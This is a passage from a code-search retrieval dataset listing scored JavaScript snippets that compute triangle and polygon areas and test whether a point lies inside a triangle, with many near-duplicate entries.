"a8568f53b72a5b7cb5733cb38cb8ff58", "score": "0.69390255", "text": "function triangleArea(base, height) {\n return (base * height) / 2;\n}", "title": "" }, { "docid": "f0f5a4af443078a2e0ae7953673412fa", "score": "0.69168174", "text": "calculateAreaTriangle() {\r\n var side1 = 5;\r\n var side2 = 6;\r\n var side3 = 7;\r\n var perimeter = (side1 + side2 + side3) / 2;\r\n var area = Math.sqrt(perimeter * ((perimeter - side1) * (perimeter - side2) * (perimeter - side3)));\r\n console.log(area);\r\n }", "title": "" }, { "docid": "b8e4b6080cefedce29a43edaf31f943a", "score": "0.68938905", "text": "function triangleArea(b,h){\n\t//Area of triangle = .5 * base * height\n\tvar area = .5 * b * h;\n\treturn area;\n}", "title": "" }, { "docid": "66ae7ba457c87a71c996a6ca6719b34d", "score": "0.6820356", "text": "function triArea(base, height) {\n return (base * height)/2\n}", "title": "" }, { "docid": "d707588ee309c623e7840fffc1624e7d", "score": "0.680191", "text": "function getAreaOfTriangle(base, height) {\n return 0.5 * base * height;\n}", "title": "" }, { "docid": "0edbd603c139e18078d0beff8aa21840", "score": "0.6747566", "text": "function vec2SignedArea(vs) {\n let sum = 0;\n for (let i = 0; i < vs.length; i++) {\n const a = vs[i];\n const b = vs[(i+1)%vs.length];\n sum += a.x*b.y - b.x*a.y;\n }\n return 0.5*sum;\n}", "title": "" }, { "docid": "f75d85cdaa53575c5014416a6a247bc3", "score": "0.6728458", "text": "function calculateSignedArea(ring) {\n var sum = 0;\n for (var i = 0, len = ring.length, j = len - 1, p1 = (void 0), p2 = (void 0); i < len; j = i++) {\n p1 = ring[i];\n p2 = ring[j];\n sum += (p2.x - p1.x) * (p1.y + p2.y);\n }\n return sum;\n}", "title": "" }, { "docid": "45531f05d67e06e4f622ce8ca5ee7e4c", "score": "0.6705075", "text": "function triArea(base, height) {\n\treturn base * height / 2\n}", "title": "" }, { "docid": "8241f9e14f4c2e80838f5515d07c42f1", "score": "0.6651186", "text": "Area()\n {\n return Vector.Cross(Vector.Subtract(this.vertices[0], this.vertices[1]), Vector.Subtract(this.vertices[1], this.vertices[2])) / 2;\n }", "title": "" }, { "docid": "4b153c268c493c0823fb1befaa79342e", "score": "0.6622847", "text": "get area(){\n return Math.abs(this.signedArea);\n }", "title": "" }, { "docid": "e3048d2433cfab93f0ea0e3e53f1a5ac", "score": "0.65696955", "text": "function calculateTriangleArea(base, height) {\r\n let triangle = (base * height) / 2;\r\n if(base < 0 || height < 0) {\r\n return undefined;\r\n } else {\r\n return triangle;\r\n } \r\n}", "title": "" }, { "docid": "c5a0804b4a8de7d44c8ef079ac00ddb8", "score": "0.6499413", "text": "function calculateAreaOfTriangle(trianglePointsArray){\n \n let aPos = trianglePointsArray[0], bPos = trianglePointsArray[1], cPos = trianglePointsArray[2];\n let answer = (aPos[0]*(bPos[1]-cPos[1]) + bPos[0]*(cPos[1]-aPos[1]) + cPos[0]*(aPos[1]-bPos[1]));\n let area = Math.abs(answer/2);\n /* \n\n B\n A \n C\n\n\n A, B, P\n A[x,y]\n B[x,y]\n P[x,y]\n Ax*(By - Cy) + Bx * (Cy - Ay) + Cx * (Ay - By)\n \n */\n if(false){\n ctx.strokeWidth = \"1\";\n ctx.beginPath()\n ctx.moveTo(aPos[0],aPos[1]);\n ctx.lineTo(bPos[0],bPos[1]);\n ctx.lineTo(cPos[0],cPos[1]);\n ctx.lineTo(aPos[0],aPos[1]);\n ctx.closePath();\n ctx.stroke();\n }\n \n return area;\n}", "title": "" }, { "docid": "9a29764187766f544bd7d2b9d8b668e6", "score": "0.64626235", "text": "function triangleArea(s1, s2, s3) {\n const halfP = (s1 + s2 + s3) / 2;\n\n return Math.sqrt(halfP * (halfP - s1) * (halfP - s2) * (halfP - s3));\n}", "title": "" }, { "docid": "fd79a8fe3a9ed8ca81bf1c8288d61d48", "score": "0.6450077", "text": "function triArea(base, height) {\n return .5 * (base * height)\n}", "title": "" }, { "docid": "aed601e6707763ec0be0f83a2dfd45b9", "score": "0.6447379", "text": "get signedArea(){\n // recompute signed area if not cached\n if(!this.cacheArea){\n this.cacheArea = geom.signedArea(this.points);\n }\n return this.cacheArea;\n }", "title": "" }, { "docid": "6ba865b0820b9d9c6342d1d39d416eea", "score": "0.63811636", "text": "function TriangleArea(a, b, c) {\n\n // using sqrt the method of Returns the square root of a number \n var pre = (a + b + c) / 2;\n var area = Math.sqrt(pre * (pre - a) * (pre - b) * (pre - c));\n return \"area =\" + area;\n\n\n\n}", "title": "" }, { "docid": "ba92642e2c1daa91cf5520b5141d7807", "score": "0.6352945", "text": "function triarea2(a, b, c) {\n var ax = b.x - a.x;\n var ay = b.y - a.y;\n var bx = c.x - a.x;\n var by = c.y - a.y;\n return bx * ay - ax * by;\n}", "title": "" }, { "docid": "1a2d6c232d4cb9306a8619b02700adf7", "score": "0.6349889", "text": "function areaOfTriangle(base,height){\n if(typeof(base)!==\"number\" || typeof(height)!==\"number\"){\n alert(\"Area of Triangle: both values must be numbers\");\n \n }else if(base<0 || height<0){\n alert(\"Area of Triangle: Both numbers must be positive\");\n }\n else if(base>0 && height>0){\n let result = 0.5*base*height;\n return Number(result.toFixed(2));\n }\n}", "title": "" }, { "docid": "1d4ea51eea8bdd5261421772a868ab75", "score": "0.6329637", "text": "function triangle_onClick() {\n\tvar b = document.getElementById(\"b_t\").value;\n\t\th =\tdocument.getElementById(\"h_t\").value;\n\t\t//area\n\t\tarea_triangle = (b * h * .5);\n\t\tarea_triangle = Math.round(area_triangle/.0001)*.0001;\n\n\tdocument.getElementById(\"answer\").innerHTML = \"area = \" + area_triangle + \" units<sup>2</sup>\";\n}", "title": "" }, { "docid": "a0a2c3692e8b8d04eeac9a3b38b381ee", "score": "0.6259173", "text": "function areaTriangulo(base, altura){\n return (base * altura) / 2;\n}", "title": "" }, { "docid": "ba1d10af7a8e76ba584a81b6f2cd184c", "score": "0.6241571", "text": "function getTriangleArea(a, h) {\t\n \n // 2. Cialo funkcji (logika) (wewnątrz klamr{}) Wynik logiki przekazany do zmiennej \"value\" w celu jej wywołania.\n \n var value = a*h/2;\n \n console.log(\"inFunc Result is: \" + value);\n\n // 2.a) Wywolanie funcji słowem \"return\" tzw. zwracanie wartości funkcji (tj.przeliczenie logiki z zastosow. parametrów)\n return value;\n}", "title": "" }, { "docid": "9a669b6867021290f7b88f1f26e189e5", "score": "0.6200683", "text": "function areaTriangulo(base, altura) {\n return base * altura / 2;\n\n}", "title": "" }, { "docid": "f7e88e86e365665133a523018bc315d3", "score": "0.6189501", "text": "function pointInTriangle(ax, ay, bx, by, cx, cy, px, py) {\n return (cx - px) * (ay - py) - (ax - px) * (cy - py) >= 0 &&\n (ax - px) * (by - py) - (bx - px) * (ay - py) >= 0 &&\n (bx - px) * (cy - py) - (cx - px) * (by - py) >= 0;\n }", "title": "" }, { "docid": "c299d81e8ee7977f70e9780ba23eda7f", "score": "0.61865354", "text": "function pointInTriangle ( ax, ay, bx, by, cx, cy, px, py )\r\n {\r\n return ( cx - px ) * ( ay - py ) - ( ax - px ) * ( cy - py ) >= 0 &&\r\n ( ax - px ) * ( by - py ) - ( bx - px ) * ( ay - py ) >= 0 &&\r\n ( bx - px ) * ( cy - py ) - ( cx - px ) * ( by - py ) >= 0;\r\n }", "title": "" }, { "docid": "92c5a50efabf9c3010c0f5df9e4563a9", "score": "0.61671364", "text": "function triangle_area(A, B, C) {\n return Math.sqrt(triangle_area_squared(A, B, C));\n}", "title": "" }, { "docid": "6ac08ffcf715234b62ce6a8ff73a09af", "score": "0.6166328", "text": "function areaTri(s1, s2, s3) {\n let p = (s1 + s2 + s3)/2;\n return Math.sqrt(p*(p-s1)*(p-s2)*(p-s3));\n}", "title": "" }, { "docid": "ee1f42a0fee5fefb3803d75f8060b27d", "score": "0.6158972", "text": "function pointInTriangle(ax, ay, bx, by, cx, cy, px, py) {\n return (\n (cx - px) * (ay - py) - (ax - px) * (cy - py) >= 0 &&\n (ax - px) * (by - py) - (bx - px) * (ay - py) >= 0 &&\n (bx - px) * (cy - py) - (cx - px) * (by - py) >= 0\n );\n }", "title": "" }, { "docid": "11d5a245418883224cf1c4f14ca226bf", "score": "0.6141163", "text": "area () {\n return 4*Math.PI*this.radi**2\n }", "title": "" }, { "docid": "9afefe044b318009c74708f6ca48279d", "score": "0.6139994", "text": "function areaTr(t) {\n var perimeter = (t.sideA + t.sideB + t.sideC) / 2;\n console.log(perimeter);\n var area = Math.sqrt(perimeter * ((perimeter - t.sideA) * (perimeter - t.sideB) * (perimeter - t.sideC)));\n return area;\n}", "title": "" }, { "docid": "8338acea22c8571f4764c3afcf1a9109", "score": "0.6129385", "text": "function triangleOfEdge(e) { return Math.floor(e / 3); }", "title": "" }, { "docid": "fbeadb0fe76484dd97a37abd6f1d7d38", "score": "0.6112356", "text": "area() {\n var p = (this.sideA + this.sideB + this.sideC) / 2;\n var area = Math.sqrt(\n p * (p - this.sideA) * (p - this.sideB) * (p - this.sideC)\n );\n return area;\n }", "title": "" }, { "docid": "965b7a2b1a52aabc0ef3e5a8fe24e89d", "score": "0.61071795", "text": "function pointInTriangle(ax, ay, bx, by, cx, cy, px, py) {\n\t return (cx - px) * (ay - py) - (ax - px) * (cy - py) >= 0 &&\n\t (ax - px) * (by - py) - (bx - px) * (ay - py) >= 0 &&\n\t (bx - px) * (cy - py) - (cx - px) * (by - py) >= 0;\n\t}", "title": "" }, { "docid": "965b7a2b1a52aabc0ef3e5a8fe24e89d", "score": "0.61071795", "text": "function pointInTriangle(ax, ay, bx, by, cx, cy, px, py) {\n\t return (cx - px) * (ay - py) - (ax - px) * (cy - py) >= 0 &&\n\t (ax - px) * (by - py) - (bx - px) * (ay - py) >= 0 &&\n\t (bx - px) * (cy - py) - (cx - px) * (by - py) >= 0;\n\t}", "title": "" }, { "docid": "965b7a2b1a52aabc0ef3e5a8fe24e89d", "score": "0.61071795", "text": "function pointInTriangle(ax, ay, bx, by, cx, cy, px, py) {\n\t return (cx - px) * (ay - py) - (ax - px) * (cy - py) >= 0 &&\n\t (ax - px) * (by - py) - (bx - px) * (ay - py) >= 0 &&\n\t (bx - px) * (cy - py) - (cx - px) * (by - py) >= 0;\n\t}", "title": "" }, { "docid": "965b7a2b1a52aabc0ef3e5a8fe24e89d", "score": "0.61071795", "text": "function pointInTriangle(ax, ay, bx, by, cx, cy, px, py) {\n\t return (cx - px) * (ay - py) - (ax - px) * (cy - py) >= 0 &&\n\t (ax - px) * (by - py) - (bx - px) * (ay - py) >= 0 &&\n\t (bx - px) * (cy - py) - (cx - px) * (by - py) >= 0;\n\t}", "title": "" }, { "docid": "965b7a2b1a52aabc0ef3e5a8fe24e89d", "score": "0.61071795", "text": "function pointInTriangle(ax, ay, bx, by, cx, cy, px, py) {\n\t return (cx - px) * (ay - py) - (ax - px) * (cy - py) >= 0 &&\n\t (ax - px) * (by - py) - (bx - px) * (ay - py) >= 0 &&\n\t (bx - px) * (cy - py) - (cx - px) * (by - py) >= 0;\n\t}", "title": "" }, { "docid": "965b7a2b1a52aabc0ef3e5a8fe24e89d", "score": "0.61071795", "text": "function pointInTriangle(ax, ay, bx, by, cx, cy, px, py) {\n\t return (cx - px) * (ay - py) - (ax - px) * (cy - py) >= 0 &&\n\t (ax - px) * (by - py) - (bx - px) * (ay - py) >= 0 &&\n\t (bx - px) * (cy - py) - (cx - px) * (by - py) >= 0;\n\t}", "title": "" }, { "docid": "95106517dda5cc95ddae86da9f42850b", "score": "0.6105503", "text": "function triAreaHeron(a, b, c) {\n let s = (a + b + c) / 2.0;\n return sqrt(s * (s - a) * (s - b) * (s - c));\n}", "title": "" }, { "docid": "b0ca87037c6244227849dbadb28e69e2", "score": "0.61018395", "text": "function areaTriangulo(base, altura) {\n return (base * altura) / 2;\n}", "title": "" }, { "docid": "5cb08ccc97b66fe9edb919d5d45e9388", "score": "0.6101425", "text": "function pointInTriangle(ax, ay, bx, by, cx, cy, px, py) {\n\t\t return (cx - px) * (ay - py) - (ax - px) * (cy - py) >= 0 &&\n\t\t (ax - px) * (by - py) - (bx - px) * (ay - py) >= 0 &&\n\t\t (bx - px) * (cy - py) - (cx - px) * (by - py) >= 0;\n\t\t}", "title": "" }, { "docid": "5cb08ccc97b66fe9edb919d5d45e9388", "score": "0.6101425", "text": "function pointInTriangle(ax, ay, bx, by, cx, cy, px, py) {\n\t\t return (cx - px) * (ay - py) - (ax - px) * (cy - py) >= 0 &&\n\t\t (ax - px) * (by - py) - (bx - px) * (ay - py) >= 0 &&\n\t\t (bx - px) * (cy - py) - (cx - px) * (by - py) >= 0;\n\t\t}", "title": "" }, { "docid": "83f12e03039593a5fc18ce85739e5346", "score": "0.60944676", "text": "function getArea( vertices ) {\n var area = 0.0;\n var trianglePerimeter = 0.0;\n var s = 0.0;\n var side1, side2, side3;\n var v = 0;\n for( var i = 1; i < vertices.length - 1; i++ ) {\n // Three verts of the current triangle are v[0], v[i], v[i+1]\n trianglePerimeter = 0.0;\n trianglePerimeter += (side1 = vertices[0].distanceFrom( vertices[i] ));\n trianglePerimeter += (side2 = vertices[i].distanceFrom( vertices[i+1] ));\n trianglePerimeter += (side3 = vertices[i+1].distanceFrom( vertices[0] ));\n s = trianglePerimeter / 2.0;\n area += Math.sqrt( (s * (s - side1) * (s - side2) * (s - side3)) );\n }\n\n return area;\n}", "title": "" }, { "docid": "1b43a836efb47fe595d37a130792ff5f", "score": "0.60675055", "text": "function areaSquare (side) {\n return side ** 2;\n}", "title": "" }, { "docid": "a52f66e7f6e78963f9f384da0b35ace5", "score": "0.6042798", "text": "function pointInTriangle( ax, ay, bx, by, cx, cy, px, py ) {\n\n \treturn ( cx - px ) * ( ay - py ) - ( ax - px ) * ( cy - py ) >= 0 &&\n \t\t ( ax - px ) * ( by - py ) - ( bx - px ) * ( ay - py ) >= 0 &&\n \t\t ( bx - px ) * ( cy - py ) - ( cx - px ) * ( by - py ) >= 0;\n\n }", "title": "" }, { "docid": "f3e15d46e31e70754307dcd5fc1e0ab1", "score": "0.60378605", "text": "function aTriangulo(b,h){\n console.log(\"El area del triangulo que es bxh/2: \", (b*h) /2)\n}", "title": "" }, { "docid": "0d39a94a36fccaeeef7934ee7a71fa47", "score": "0.6026269", "text": "function pointInTriangle(ax, ay, bx, by, cx, cy, px, py) {\n return (\n (cx - px) * (ay - py) - (ax - px) * (cy - py) >= 0 &&\n (ax - px) * (by - py) - (bx - px) * (ay - py) >= 0 &&\n (bx - px) * (cy - py) - (cx - px) * (by - py) >= 0\n );\n }", "title": "" }, { "docid": "3ce4a1b78928aed6a943ba47651fd274", "score": "0.60171735", "text": "function pointInTriangle(ax, ay, bx, by, cx, cy, px, py) {\n return (cx - px) * (ay - py) - (ax - px) * (cy - py) >= 0 && (ax - px) * (by - py) - (bx - px) * (ay - py) >= 0 && (bx - px) * (cy - py) - (cx - px) * (by - py) >= 0;\n}", "title": "" }, { "docid": "52809596f788d8ae0d21d0cf07ac9a66", "score": "0.60076976", "text": "function area(points) {\r\n\r\n var left = 0;\r\n var right = 0;\r\n var length = points.length - 1;\r\n var p;\r\n var p2;\r\n for (var i = 0; i < length; i++) {\r\n p = points[i];\r\n p2 = points[i+1];\r\n left += p.x * p2.y;\r\n right += p2.x * p.y;\r\n }\r\n p = p2;\r\n p2 = points[0];\r\n left += p.x * p2.y;\r\n right += p2.x * p.y;\r\n var result = (left - right) * 0.5;\r\n if (result < 0) {\r\n return -result;\r\n } else {\r\n return result;\r\n }\r\n}", "title": "" }, { "docid": "e70b2edb16e8a64815a24642d77c5e17", "score": "0.5993231", "text": "function pointInTriangle$1(ax, ay, bx, by, cx, cy, px, py) {\n return (cx - px) * (ay - py) - (ax - px) * (cy - py) >= 0 &&\n (ax - px) * (by - py) - (bx - px) * (ay - py) >= 0 &&\n (bx - px) * (cy - py) - (cx - px) * (by - py) >= 0;\n}", "title": "" }, { "docid": "d500a4c682a2e5ef792ad773bd2a1d45", "score": "0.5990745", "text": "function pointInTriangle( ax, ay, bx, by, cx, cy, px, py ) {\n\n\treturn ( cx - px ) * ( ay - py ) - ( ax - px ) * ( cy - py ) >= 0 &&\n\t\t\t( ax - px ) * ( by - py ) - ( bx - px ) * ( ay - py ) >= 0 &&\n\t\t\t( bx - px ) * ( cy - py ) - ( cx - px ) * ( by - py ) >= 0;\n\n}", "title": "" }, { "docid": "d500a4c682a2e5ef792ad773bd2a1d45", "score": "0.5990745", "text": "function pointInTriangle( ax, ay, bx, by, cx, cy, px, py ) {\n\n\treturn ( cx - px ) * ( ay - py ) - ( ax - px ) * ( cy - py ) >= 0 &&\n\t\t\t( ax - px ) * ( by - py ) - ( bx - px ) * ( ay - py ) >= 0 &&\n\t\t\t( bx - px ) * ( cy - py ) - ( cx - px ) * ( by - py ) >= 0;\n\n}", "title": "" }, { "docid": "d500a4c682a2e5ef792ad773bd2a1d45", "score": "0.5990745", "text": "function pointInTriangle( ax, ay, bx, by, cx, cy, px, py ) {\n\n\treturn ( cx - px ) * ( ay - py ) - ( ax - px ) * ( cy - py ) >= 0 &&\n\t\t\t( ax - px ) * ( by - py ) - ( bx - px ) * ( ay - py ) >= 0 &&\n\t\t\t( bx - px ) * ( cy - py ) - ( cx - px ) * ( by - py ) >= 0;\n\n}", "title": "" }, { "docid": "d500a4c682a2e5ef792ad773bd2a1d45", "score": "0.5990745", "text": "function pointInTriangle( ax, ay, bx, by, cx, cy, px, py ) {\n\n\treturn ( cx - px ) * ( ay - py ) - ( ax - px ) * ( cy - py ) >= 0 &&\n\t\t\t( ax - px ) * ( by - py ) - ( bx - px ) * ( ay - py ) >= 0 &&\n\t\t\t( bx - px ) * ( cy - py ) - ( cx - px ) * ( by - py ) >= 0;\n\n}", "title": "" }, { "docid": "5b04de0d2544cdc5e04d325d4d27f866", "score": "0.598711", "text": "function pointInTriangle( ax, ay, bx, by, cx, cy, px, py ) {\n\n\treturn ( cx - px ) * ( ay - py ) - ( ax - px ) * ( cy - py ) >= 0 &&\n\t ( ax - px ) * ( by - py ) - ( bx - px ) * ( ay - py ) >= 0 &&\n\t ( bx - px ) * ( cy - py ) - ( cx - px ) * ( by - py ) >= 0;\n\n}", "title": "" }, { "docid": "5b04de0d2544cdc5e04d325d4d27f866", "score": "0.598711", "text": "function pointInTriangle( ax, ay, bx, by, cx, cy, px, py ) {\n\n\treturn ( cx - px ) * ( ay - py ) - ( ax - px ) * ( cy - py ) >= 0 &&\n\t ( ax - px ) * ( by - py ) - ( bx - px ) * ( ay - py ) >= 0 &&\n\t ( bx - px ) * ( cy - py ) - ( cx - px ) * ( by - py ) >= 0;\n\n}", "title": "" }, { "docid": "5b04de0d2544cdc5e04d325d4d27f866", "score": "0.598711", "text": "function pointInTriangle( ax, ay, bx, by, cx, cy, px, py ) {\n\n\treturn ( cx - px ) * ( ay - py ) - ( ax - px ) * ( cy - py ) >= 0 &&\n\t ( ax - px ) * ( by - py ) - ( bx - px ) * ( ay - py ) >= 0 &&\n\t ( bx - px ) * ( cy - py ) - ( cx - px ) * ( by - py ) >= 0;\n\n}", "title": "" }, { "docid": "5b04de0d2544cdc5e04d325d4d27f866", "score": "0.598711", "text": "function pointInTriangle( ax, ay, bx, by, cx, cy, px, py ) {\n\n\treturn ( cx - px ) * ( ay - py ) - ( ax - px ) * ( cy - py ) >= 0 &&\n\t ( ax - px ) * ( by - py ) - ( bx - px ) * ( ay - py ) >= 0 &&\n\t ( bx - px ) * ( cy - py ) - ( cx - px ) * ( by - py ) >= 0;\n\n}", "title": "" }, { "docid": "5b04de0d2544cdc5e04d325d4d27f866", "score": "0.598711", "text": "function pointInTriangle( ax, ay, bx, by, cx, cy, px, py ) {\n\n\treturn ( cx - px ) * ( ay - py ) - ( ax - px ) * ( cy - py ) >= 0 &&\n\t ( ax - px ) * ( by - py ) - ( bx - px ) * ( ay - py ) >= 0 &&\n\t ( bx - px ) * ( cy - py ) - ( cx - px ) * ( by - py ) >= 0;\n\n}", "title": "" }, { "docid": "189771d29b2d3317969c265d2df0cb4d", "score": "0.5984301", "text": "function sqArea(length) {\r\n return length*length;\r\n}", "title": "" }, { "docid": "50a7c231d568a75d5c8c616778eb2873", "score": "0.59840894", "text": "function trianglePerimeter(triangle){\n let ab = Math.sqrt((triangle.a.x - triangle.b.x) ** 2 + (triangle.a.y - triangle.b.y) ** 2);\n let bc = Math.sqrt((triangle.b.x - triangle.c.x) ** 2 + (triangle.b.y - triangle.c.y) ** 2);\n let ac = Math.sqrt((triangle.a.x - triangle.c.x) ** 2 + (triangle.a.y - triangle.c.y) ** 2);\n return ab + bc + ac;\n}", "title": "" }, { "docid": "664c65388a4aabe322446b03ca46a38d", "score": "0.59834254", "text": "function pointInTriangle(ax, ay, bx, by, cx, cy, px, py) {\n return (cx - px) * (ay - py) - (ax - px) * (cy - py) >= 0 &&\n (ax - px) * (by - py) - (bx - px) * (ay - py) >= 0 &&\n (bx - px) * (cy - py) - (cx - px) * (by - py) >= 0;\n }", "title": "" }, { "docid": "cf664fe84c7385afedb93fc814a1e78b", "score": "0.5980295", "text": "function inTriangle(p, a, b, c) {\n var v = [sub(c, a), sub(b, a), sub(p, a)];\n \n var dot00 = dot(v[0], v[0]); \n var dot01 = dot(v[0], v[1]); \n var dot02 = dot(v[0], v[2]); \n var dot11 = dot(v[1], v[1]); \n var dot12 = dot(v[1], v[2]); \n\n var d = (dot00 * dot11 - dot01 * dot01);\n var u = (dot11 * dot02 - dot01 * dot12) / d;\n var v = (dot00 * dot12 - dot01 * dot02) / d;\n if ((u >= 0) && (v >= 0)) {\n if (u + v < 1) {\n return true;\n }\n }\n return false;\n}", "title": "" }, { "docid": "4ba49c3639777c40b6dc59329c7f17d3", "score": "0.5980046", "text": "function area(w,h){\n var A = w * h;\n return A;\n}", "title": "" }, { "docid": "634a6aaa9fb841ca3aa088c926455efc", "score": "0.5979607", "text": "function pointInTriangle( ax, ay, bx, by, cx, cy, px, py ) {\n\n\treturn ( cx - px ) * ( ay - py ) - ( ax - px ) * ( cy - py ) >= 0 &&\n\t\t ( ax - px ) * ( by - py ) - ( bx - px ) * ( ay - py ) >= 0 &&\n\t\t ( bx - px ) * ( cy - py ) - ( cx - px ) * ( by - py ) >= 0;\n\n}", "title": "" }, { "docid": "f7d617c10396916bddb553f8576e9b11", "score": "0.5979156", "text": "function pointInTriangle(ax, ay, bx, by, cx, cy, px, py) {\n return (cx - px) * (ay - py) - (ax - px) * (cy - py) >= 0 &&\n (ax - px) * (by - py) - (bx - px) * (ay - py) >= 0 &&\n (bx - px) * (cy - py) - (cx - px) * (by - py) >= 0;\n }", "title": "" }, { "docid": "d1676924db9b8519a57fc1983b3a5768", "score": "0.59786147", "text": "function pointInTriangle( ax, ay, bx, by, cx, cy, px, py ) {\n\n\t\treturn ( cx - px ) * ( ay - py ) - ( ax - px ) * ( cy - py ) >= 0 &&\n\t\t\t ( ax - px ) * ( by - py ) - ( bx - px ) * ( ay - py ) >= 0 &&\n\t\t\t ( bx - px ) * ( cy - py ) - ( cx - px ) * ( by - py ) >= 0;\n\n\t}", "title": "" }, { "docid": "d1676924db9b8519a57fc1983b3a5768", "score": "0.59786147", "text": "function pointInTriangle( ax, ay, bx, by, cx, cy, px, py ) {\n\n\t\treturn ( cx - px ) * ( ay - py ) - ( ax - px ) * ( cy - py ) >= 0 &&\n\t\t\t ( ax - px ) * ( by - py ) - ( bx - px ) * ( ay - py ) >= 0 &&\n\t\t\t ( bx - px ) * ( cy - py ) - ( cx - px ) * ( by - py ) >= 0;\n\n\t}", "title": "" }, { "docid": "d1676924db9b8519a57fc1983b3a5768", "score": "0.59786147", "text": "function pointInTriangle( ax, ay, bx, by, cx, cy, px, py ) {\n\n\t\treturn ( cx - px ) * ( ay - py ) - ( ax - px ) * ( cy - py ) >= 0 &&\n\t\t\t ( ax - px ) * ( by - py ) - ( bx - px ) * ( ay - py ) >= 0 &&\n\t\t\t ( bx - px ) * ( cy - py ) - ( cx - px ) * ( by - py ) >= 0;\n\n\t}", "title": "" }, { "docid": "8e1a1b74f9738ba694d38b822a3fcbe6", "score": "0.59697145", "text": "function pointInTriangle( ax, ay, bx, by, cx, cy, px, py ) {\n\n\t\treturn ( cx - px ) * ( ay - py ) - ( ax - px ) * ( cy - py ) >= 0 &&\n\t\t ( ax - px ) * ( by - py ) - ( bx - px ) * ( ay - py ) >= 0 &&\n\t\t ( bx - px ) * ( cy - py ) - ( cx - px ) * ( by - py ) >= 0;\n\n\t}", "title": "" }, { "docid": "8e1a1b74f9738ba694d38b822a3fcbe6", "score": "0.59697145", "text": "function pointInTriangle( ax, ay, bx, by, cx, cy, px, py ) {\n\n\t\treturn ( cx - px ) * ( ay - py ) - ( ax - px ) * ( cy - py ) >= 0 &&\n\t\t ( ax - px ) * ( by - py ) - ( bx - px ) * ( ay - py ) >= 0 &&\n\t\t ( bx - px ) * ( cy - py ) - ( cx - px ) * ( by - py ) >= 0;\n\n\t}", "title": "" }, { "docid": "8e1a1b74f9738ba694d38b822a3fcbe6", "score": "0.59697145", "text": "function pointInTriangle( ax, ay, bx, by, cx, cy, px, py ) {\n\n\t\treturn ( cx - px ) * ( ay - py ) - ( ax - px ) * ( cy - py ) >= 0 &&\n\t\t ( ax - px ) * ( by - py ) - ( bx - px ) * ( ay - py ) >= 0 &&\n\t\t ( bx - px ) * ( cy - py ) - ( cx - px ) * ( by - py ) >= 0;\n\n\t}", "title": "" }, { "docid": "8e1a1b74f9738ba694d38b822a3fcbe6", "score": "0.59697145", "text": "function pointInTriangle( ax, ay, bx, by, cx, cy, px, py ) {\n\n\t\treturn ( cx - px ) * ( ay - py ) - ( ax - px ) * ( cy - py ) >= 0 &&\n\t\t ( ax - px ) * ( by - py ) - ( bx - px ) * ( ay - py ) >= 0 &&\n\t\t ( bx - px ) * ( cy - py ) - ( cx - px ) * ( by - py ) >= 0;\n\n\t}", "title": "" }, { "docid": "09b6dd6c9f3e550ad23ea055163ad43b", "score": "0.59677416", "text": "function pointInTriangle(ax, ay, bx, by, cx, cy, px, py) {\n return (cx - px) * (ay - py) - (ax - px) * (cy - py) >= 0 &&\n (ax - px) * (by - py) - (bx - px) * (ay - py) >= 0 &&\n (bx - px) * (cy - py) - (cx - px) * (by - py) >= 0;\n}", "title": "" }, { "docid": "09b6dd6c9f3e550ad23ea055163ad43b", "score": "0.59677416", "text": "function pointInTriangle(ax, ay, bx, by, cx, cy, px, py) {\n return (cx - px) * (ay - py) - (ax - px) * (cy - py) >= 0 &&\n (ax - px) * (by - py) - (bx - px) * (ay - py) >= 0 &&\n (bx - px) * (cy - py) - (cx - px) * (by - py) >= 0;\n}", "title": "" }, { "docid": "09b6dd6c9f3e550ad23ea055163ad43b", "score": "0.59677416", "text": "function pointInTriangle(ax, ay, bx, by, cx, cy, px, py) {\n return (cx - px) * (ay - py) - (ax - px) * (cy - py) >= 0 &&\n (ax - px) * (by - py) - (bx - px) * (ay - py) >= 0 &&\n (bx - px) * (cy - py) - (cx - px) * (by - py) >= 0;\n}", "title": "" }, { "docid": "09b6dd6c9f3e550ad23ea055163ad43b", "score": "0.59677416", "text": "function pointInTriangle(ax, ay, bx, by, cx, cy, px, py) {\n return (cx - px) * (ay - py) - (ax - px) * (cy - py) >= 0 &&\n (ax - px) * (by - py) - (bx - px) * (ay - py) >= 0 &&\n (bx - px) * (cy - py) - (cx - px) * (by - py) >= 0;\n}", "title": "" }, { "docid": "09b6dd6c9f3e550ad23ea055163ad43b", "score": "0.59677416", "text": "function pointInTriangle(ax, ay, bx, by, cx, cy, px, py) {\n return (cx - px) * (ay - py) - (ax - px) * (cy - py) >= 0 &&\n (ax - px) * (by - py) - (bx - px) * (ay - py) >= 0 &&\n (bx - px) * (cy - py) - (cx - px) * (by - py) >= 0;\n}", "title": "" }, { "docid": "09b6dd6c9f3e550ad23ea055163ad43b", "score": "0.59677416", "text": "function pointInTriangle(ax, ay, bx, by, cx, cy, px, py) {\n return (cx - px) * (ay - py) - (ax - px) * (cy - py) >= 0 &&\n (ax - px) * (by - py) - (bx - px) * (ay - py) >= 0 &&\n (bx - px) * (cy - py) - (cx - px) * (by - py) >= 0;\n}", "title": "" }, { "docid": "09b6dd6c9f3e550ad23ea055163ad43b", "score": "0.59677416", "text": "function pointInTriangle(ax, ay, bx, by, cx, cy, px, py) {\n return (cx - px) * (ay - py) - (ax - px) * (cy - py) >= 0 &&\n (ax - px) * (by - py) - (bx - px) * (ay - py) >= 0 &&\n (bx - px) * (cy - py) - (cx - px) * (by - py) >= 0;\n}", "title": "" }, { "docid": "09b6dd6c9f3e550ad23ea055163ad43b", "score": "0.59677416", "text": "function pointInTriangle(ax, ay, bx, by, cx, cy, px, py) {\n return (cx - px) * (ay - py) - (ax - px) * (cy - py) >= 0 &&\n (ax - px) * (by - py) - (bx - px) * (ay - py) >= 0 &&\n (bx - px) * (cy - py) - (cx - px) * (by - py) >= 0;\n}", "title": "" }, { "docid": "09b6dd6c9f3e550ad23ea055163ad43b", "score": "0.59677416", "text": "function pointInTriangle(ax, ay, bx, by, cx, cy, px, py) {\n return (cx - px) * (ay - py) - (ax - px) * (cy - py) >= 0 &&\n (ax - px) * (by - py) - (bx - px) * (ay - py) >= 0 &&\n (bx - px) * (cy - py) - (cx - px) * (by - py) >= 0;\n}", "title": "" }, { "docid": "09b6dd6c9f3e550ad23ea055163ad43b", "score": "0.59677416", "text": "function pointInTriangle(ax, ay, bx, by, cx, cy, px, py) {\n return (cx - px) * (ay - py) - (ax - px) * (cy - py) >= 0 &&\n (ax - px) * (by - py) - (bx - px) * (ay - py) >= 0 &&\n (bx - px) * (cy - py) - (cx - px) * (by - py) >= 0;\n}", "title": "" }, { "docid": "09b6dd6c9f3e550ad23ea055163ad43b", "score": "0.59677416", "text": "function 